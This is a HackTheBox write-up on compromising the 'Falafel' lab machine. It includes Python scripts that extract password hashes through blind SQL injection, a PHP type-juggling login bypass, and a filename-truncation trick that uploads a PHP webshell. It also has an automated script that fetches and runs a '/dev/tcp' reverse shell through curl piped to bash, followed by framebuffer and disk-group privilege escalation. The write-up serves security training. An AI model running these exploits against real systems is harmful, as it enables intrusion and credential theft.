Falafel was one of the most interesing box I’ve done in HackTheBox. It’s Linux and seted as Hard level. A web exploration with blind sqlinjection and type juggling. Then you need to byppass many upload filters to up a malicious php on the server.
You get as www-data, then you need to become mosh and after yossi, then you can become root.
The auto exploit for www-data is on the post. Hope you enjoy!
Diagram
Here is the diagram for this machine. It’s a resume from it.
graph TD
A[Enumeration] -->|Nmap - Gobuster| B(Falafel Website)
B --> |Login Page| C[SQLIjnectio]
C --> |Python Auto SQLI| D(Users Hashs)
D --> |Type Jug| E[Admin - upload.php]
E --> |Upload php| F[www-data]
E --> |Python Script Auto| F
F --> |connection.php| G[moshe]
G --> |video group| H[yossi]
H --> |disk group| I[root]
Enumeration
First step is to enumerate the box. For this we’ll use nmap
1
nmap -sV -sC -Pn 10.10.10.73
-sV - Services running on the ports
-sC - Run some standart scripts
-Pn - Consider the host alive
Port 80
We try to open it on the browser
We run Gobuster
, with .php, .html and .txt
1
gobuster dir -u http://10.10.10.73 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x txt,php,html -t 30
We found a bunch of pages in the fafael website. The only one interesting is the cyberlaw.txt
Seems that we have a user called chris, so let’s get a fuzz on the username param to see if we get another user is this website
We got a error one on burpsuite
And mount our payload with wfuzz
1
wfuzz -c -w /usr/share/wordlists/rockyou.txt -d "username=FUZZ&password=test" -u http://10.10.10.73/login.php --hh 7074
Yes, we found chris and admin as valid usernames
SQLInjection
When we send a simple quote after the username, we get an error
If we put only the username we got a user error
It’s possibly a SQLInjection vulnerability to be explored
It’s important to keep in mind that when our SQL injection is working, we get the error “Wrong identification” and when it does not, we get an error “Try again”.
Now we should get the informations using UNION, for example the number of columns, but it’s blocked on the server. We could try to use ORDER BY to get it too but it’s not and error-based SQL Injection.
Since this is a SQL database, we could use substring substring(string, position, length)
function. This will take a string or a column in the information and show me.
And we get it
1
username=chris'AND+substring(username,1,1)='c'--+-&password=test
1
username=chris'AND+substring(username,1,1)='a'--+-&password=test
Now, let’s automate it to extract the user hashes
Auto SQLInjection Extract
First, we will use our python skeleton to do that
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#!/usr/bin/python3
import argparse
import requests
import sys
'''Setting up something important'''
proxies = {"http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080"}
r = requests.session()
'''Here come the Functions'''
def main():
# Parse Arguments
parser = argparse.ArgumentParser()
parser.add_argument('-t', '--target', help='Target ip address or hostname', required=True)
args = parser.parse_args()
'''Here we call the functions'''
if __name__ == '__main__':
main()
Here it is
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
#!/usr/bin/python3
#Author: 0x4rt3mis
#Auto SQLI MySQL Version - Falafel HackTheBox
import argparse
import requests
import sys
'''Setting up something important'''
proxies = {"http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080"}
r = requests.session()
'''Here come the Functions'''
def getVersion(rhost):
sqli_target = 'http://' + rhost +"/login.php"
headers = {"Content-Type": "application/x-www-form-urlencoded"}
limit = 1
char = 42
prefix = []
print("[+] The version of MySQL is.... [+]")
while(char!=123):
injection_string = "username=chris'AND+ascii(substring(version(),%d,1))=+%s+--+-&password=test" %(limit,char)
response = r.post(sqli_target,proxies=proxies,verify=False,cookies=r.cookies, data=injection_string,headers=headers).text
# On the if put a error message (not success)
if "Try again.." not in response:
prefix.append(char)
limit=limit+1
extracted_char = ''.join(map(chr,prefix))
sys.stdout.write(extracted_char)
sys.stdout.flush()
char=42
else:
char=char+1
prefix = []
def main():
# Parse Arguments
parser = argparse.ArgumentParser()
parser.add_argument('-t', '--target', help='Target ip address or hostname', required=True)
args = parser.parse_args()
rhost = args.target
'''Here we call the functions'''
# Let's get the version of it
getVersion(rhost)
if __name__ == '__main__':
main()
Now the next thing we need to do is use this same script to try to extract the password hash from admin and chris
Here it is, the chris hash and the admin hash
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
#!/usr/bin/python3
#Author: 0x4rt3mis
#Auto SQLI Username Hash - Falafel HackTheBox
import argparse
import requests
import sys
import string
'''Setting up something important'''
proxies = {"http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080"}
r = requests.session()
'''Here come the Functions'''
def hashExtract(rhost,username):
url = "http://%s" %rhost + "/login.php"
headers = {"Content-Type": "application/x-www-form-urlencoded"}
password = []
list = string.ascii_letters + string.digits
limit = 1
iterator = 0
print("The hash for username %s is..." %username)
while(iterator < len(list)):
for c in list[iterator]:
payload = "username=%s'AND+substring(password,%s,1)='%s'--+-&password=test" %(username,limit,c)
res = requests.post(url, data=payload, proxies=proxies, headers=headers)
if "Try again.." not in res.text:
password.append(c)
limit = limit + 1
sys.stdout.write(c)
sys.stdout.flush()
iterator = 1
else:
iterator = iterator + 1
password = []
print()
def main():
# Parse Arguments
parser = argparse.ArgumentParser()
parser.add_argument('-t', '--target', help='Target ip address or hostname', required=True)
parser.add_argument('-u', '--username', help='Username to try to extract the hash value', required=True)
args = parser.parse_args()
rhost = args.target
username = args.username
'''Here we call the functions'''
# Let's get the user hash
hashExtract(rhost,username)
if __name__ == '__main__':
main()
We crack it and it’s juggling the passwrod
The admin one was not possible to crack
We login as chris
Nothing special.
PHP Type Juggling
We found this admin hash little weird. Type Juggling is when php tries to resolve an equality by making assumptions about the variable types.
OWASP has a good talk about it. This hash starts with 0e, very odd.
Let’s look for a number that would also result in a similar ‘0e..’ like hash to send to the PHP. The reason why we’re looking for something would result in that hash instead of justing sending 0 is because PHP would be converting whatever we send in to a hash first, and hash of 0 won’t give us what we want.
Upon searching ‘php 0e hash collision’, I find a page which has some strings and number listed that result in ‘0e’ type hash.
List we have a good list of hashes which start with 0e. Any of them will work. I’ll explain why…
This happen because the comparison the developer of the app did was not with ===
Use === as your default comparison. Only reach for == if you really need it.
Let’s por example use the password QNKCDZO:0e830400451993494058024219903391 to login as admin
Success, we bypassed it. After when I got the source code I’ll show you in the code how to identify it
Upload Malicious
Now, seems to be an upload file
We try to upload http://10.10.14.20/shell.png
It reaches us and try to download the file. We cannot put any type of php file there, if the site get php in the name it does not work. We must find out a way to byppass it.
We look at the profile of admin and found some tips
Know your limit… Possible something relative to a kind of bruteforce. After I spent a good time in it, I decided to try to bruteforce the lenght of the file
We create a pattern with 300 chars
1
msf-pattern_create -l 300
And try to upload it
We see it try to upload but how the name is too large, gets an error
And it make a new name for the file. We get the last 4 digits of the new name and get the pattern offset
1
msf-pattern_offset -q h7Ah
232, so the file must be 232 max lenght
We create a 232 long chars
1
msf-pattern_create -l 232
And put .php.png on the end of it
1
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6A.php.png
And now try to upload it
Still to large, but if we look at the name of the file that was saved
1
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6A.php
Great! Possibly uploaded a PHP file
And we get RCE
1
http://10.10.10.73/uploads/1030-2052_e402b983e2e9e311/Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6A.php?cmd=id
And we have reverse shell
So, now, let’s automate the reverse shell
Auto Reverse Shell
We made a auto reverse shell to train our python skills
Here it is
rev_auto.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
#!/usr/bin/python3
# Author: 0x4rt3mis
# Auto Reverse Shell - Falafel - HackTheBox
import argparse
import requests
import sys
import socket, telnetlib
from threading import Thread
from threading import Thread
import threading
import http.server
import socket
from http.server import HTTPServer, SimpleHTTPRequestHandler
import re
import urllib.parse
import os
'''Setting up something important'''
proxies = {"http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080"}
r = requests.session()
'''Here come the Functions'''
# Set the handler
def handler(lport,target):
print("[+] Starting handler on %s [+]" %lport)
t = telnetlib.Telnet()
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(('0.0.0.0',lport))
s.listen(1)
conn, addr = s.accept()
print("[+] Connection from %s [+]" %target)
t.sock = conn
print("[+] Shell'd [+]")
t.interact()
# Setting the python web server
def webServer():
debug = True
server = http.server.ThreadingHTTPServer(('0.0.0.0', 80), SimpleHTTPRequestHandler)
if debug:
print("[+] Starting Web Server in background [+]")
thread = threading.Thread(target = server.serve_forever)
thread.daemon = True
thread.start()
else:
print("Starting Server")
print('Starting server at http://{}:{}'.format('0.0.0.0', 80))
server.serve_forever()
# Let's login as admin
def loginAdmin(rhost):
print("[+] Let's login as Admin [+]")
url = "http://%s:80/login.php" %rhost
headers = {"Content-Type": "application/x-www-form-urlencoded"}
data = {"username": "admin", "password": "QNKCDZO"}
r.post(url, headers=headers, data=data, proxies=proxies)
print("[+] Login successss ! [+]")
# Let's create the malicious php file
def createPayload():
print("[+] Creating the malicious file [+]")
payload = "GIF89a;\n"
payload += "<?php system($_REQUEST[\"cmd\"]); ?>"
f = open("Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6A.php.png", "a")
f.write(payload)
f.close()
print("[+] Created !!!! [+]")
# Let's create the shell.sh file
def createShell(lhost,lport):
print("[+] Creating the malicious shell file [+]")
payload = "bash -i >& /dev/tcp/%s/%s 0>&1" %(lhost,lport)
f = open("shell.sh", "w")
f.write(payload)
f.close()
print("[+] Created !!!! [+]")
# Let's upload the malicious php file
def uploadMalicious(rhost,lhost,malicious):
print("[+] Uploading the malicious file [+]")
url = "http://%s:80/upload.php" %rhost
headers = {"Content-Type": "application/x-www-form-urlencoded", "Upgrade-Insecure-Requests": "1"}
data = {"url": "http://%s/%s" %(lhost,malicious)}
upup = r.post(url, headers=headers, cookies=r.cookies, data=data, proxies=proxies)
print("[+] Uploadeddededede ! [+]")
upload_malicious = re.search('New name is (.*)', upup.text).group(1)
upload_malicious = upload_malicious.removesuffix(".")
folder = re.search('uploads/(.*);', upup.text).group(1)
global upload_url
upload_url = "uploads/" + folder + "/" + upload_malicious
# Trigger the reverse shell
def reverseShell(rhost,upload_url):
print("[+] Now Let's Get The Reverse Shell!!!! [+]")
payload = "cmd=curl+10.10.14.20/shell.sh|bash"
urllib.parse.quote(payload, safe='')
url = "http://%s:80/%s" %(rhost,upload_url)
headers = {"Content-Type": "application/x-www-form-urlencoded", "Upgrade-Insecure-Requests": "1"}
r.post(url, headers=headers, cookies=r.cookies, proxies=proxies, data=payload)
# Cleaning up
cleaningMess()
# Function to delete the files created
def cleaningMess():
os.system("rm Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6A.php.png")
os.system("shell.sh")
def main():
# Parse Arguments
parser = argparse.ArgumentParser()
parser.add_argument('-t', '--target', help='Target ip address or hostname', required=True)
parser.add_argument('-ip', '--localip', help='Local ip address or hostname to receive the shell', required=True)
parser.add_argument('-p', '--localport', help='Local port to receive the shell', required=True)
args = parser.parse_args()
rhost = args.target
lhost = args.localip
lport = args.localport
'''Here we call the functions'''
# Set up the handler
thr = Thread(target=handler,args=(int(lport),rhost))
thr.start()
# Set up the web python server
webServer()
# Create the payload file
createPayload()
# Create the sh file
createShell(lhost,lport)
# Login as admin
loginAdmin(rhost)
# Upload the malicious file
malicious = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6A.php.png"
uploadMalicious(rhost,lhost,malicious)
# Get the reverse shell
reverseShell(rhost,upload_url)
if __name__ == '__main__':
main()
www-data –> moshe
We begin our privilege escalation on this box
On connection.php we an user and a password
We try su and become moshe
And with SSH we get a better shell
moshe –> yossi
Now, we need to escalate to yossi.
This was really trickly, not easy to see the way to escalate.
We see that yossi is logged on the system and we are part of the group video
We look for files in /dev/ with group as video
By researching “/dev/fb0”, it turns out that it is a Frame Buffer Device. “The frame buffer device provides an abstraction for the graphics hardware.” More about frame buffer device can be learned from the docs
If we “cat” the file in another file, we can save the contents of the frame buffer to a file
We transfer the file to our Kali
We read the file with gimp
and see the password there
Adjust to better see it
At 1176 width the images is perfect. And we have the password of another user, time to escalate your privileges!
MoshePlzStopHackingMe!
So, we can ssh in the box with this password
How did I get these values?
1
cat /sys/class/graphics/fb0/virtual_size
Now, let’s become root
yossi –> Root
We list all files from the yossi’s groups that we have access
Command got from noobsec
1
for i in $(groups);do echo -e "\n==========$i=========="; find / -group $i 2>/dev/null; done
We have access to /dev/sda1! It is the main partition of the Linux filesystem in which all the data is stored.
The way to access this file to get hold of a file is using debugfs
And then we get the ssh root key
Then we access it!
Source Code Analysis
We copy the source code to our box
1
rsync -azP -i root@10.10.10.73:/var/www/html/* .
First let’s search for the SQLInjection on the login form
This is the file login_logic.php
which determines how the login logic will be done
We see on the first lines it just connect to the database and check if the username and password are being passed.
Then it sets the username and password variables
On line 24 and 25 we see something interesintg
1
2
if(preg_match('/(union|\|)/i', $username) or preg_match('/(sleep)/i',$username) or preg_match('/(benchmark)/i',$username)){
$message="Hacking Attempt Detected!";
It checks for bad words, that’s why we did not use the union select to enumerate the database
On the rest of the code we see the query being formed
On line 30, it puts the username variable on the sql query without any kind of sanitization, and on the line 31 make the query to the database, triggering the sqlinjection
On line 35 we see the type jugglign working
1
if($password == $users['password']){
It just make the == and checks the hash of the password we have on the database with the one we provided on the form, so that’s it how it’s working, and if it’s success we are redirected to the upload.php file, which I’ll explain now.
Now, upload.php
On the start of the file it checks for the site we provide, if it’s really a website and for the format of the file we try to download
Line 26 and 27 checks the extension, and just allow, png, gif and jpg files
1
2
$extension = strtolower($file['extension']);
$whitelist = ['png', 'gif', 'jpg'];
The rest of the file shows the download logic
Lines 37 and 38 makes the randomization of the file name
1
2
$suffix = bin2hex(openssl_random_pseudo_bytes(8));
$userdir = "${uploads}/${timestamp}_${suffix}";
An dif it’s succesfull all checks it downloads the file and save on the path
1
$output = shell_exec($cmd);
That’s it.